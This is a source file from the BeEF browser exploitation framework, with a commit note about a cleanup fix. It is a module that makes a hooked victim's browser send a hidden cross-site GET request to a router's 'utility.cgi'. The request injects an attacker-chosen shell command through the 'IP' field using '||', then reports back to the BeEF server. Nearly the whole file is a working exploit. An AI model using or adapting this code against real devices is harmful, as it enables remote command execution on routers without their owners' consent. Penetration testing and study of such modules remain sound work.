This prevents a race condition where duplicate iframes/imgs are created if a module is run twice simultaneously. The second iframe/img was not being removed during `cleanup()`.
28 lines
782 B
JavaScript
28 lines
782 B
JavaScript
//
|
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
|
|
var gateway = '<%= @base %>';
|
|
var path = 'utility.cgi';
|
|
var cmd = '<%= @cmd %>';
|
|
var timeout = 15;
|
|
|
|
var com_officeconnect_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", [
|
|
{'type':'hidden', 'name':'testType', 'value':'1'},
|
|
{'type':'hidden', 'name':'IP', 'value':'||'+cmd}
|
|
]);
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(com_officeconnect_iframe_<%= @command_id %>);
|
|
}
|
|
setTimeout("cleanup()", timeout*1000);
|
|
|
|
});
|
|
|